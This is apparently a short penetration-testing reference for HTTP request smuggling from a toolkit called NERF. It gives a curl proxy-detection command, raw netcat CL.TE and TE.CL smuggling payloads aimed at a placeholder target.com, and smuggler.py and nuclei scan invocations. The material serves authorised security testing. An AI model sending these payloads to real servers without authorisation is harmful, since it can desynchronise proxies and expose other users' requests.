<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
# API Reference — Testing HTTP Request Smuggling

## curl — Proxy Detection
```bash
curl -s -D- https://target.com/ | grep -iE 'server:|via:|x-cache|cf-ray'
```

## netcat — Raw Smuggling Tests
```bash
# CL.TE test
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nX' | nc -w 5 target.com 80

# TE.CL test
printf 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | nc -w 5 target.com 80
```

## smuggler.py — Automated Detection
```bash
python3 smuggler.py -u https://target.com/ -m POST
```

## nuclei — Smuggling Templates
```bash
nuclei -u https://target.com -t http/vulnerabilities/request-smuggling/ -json
```
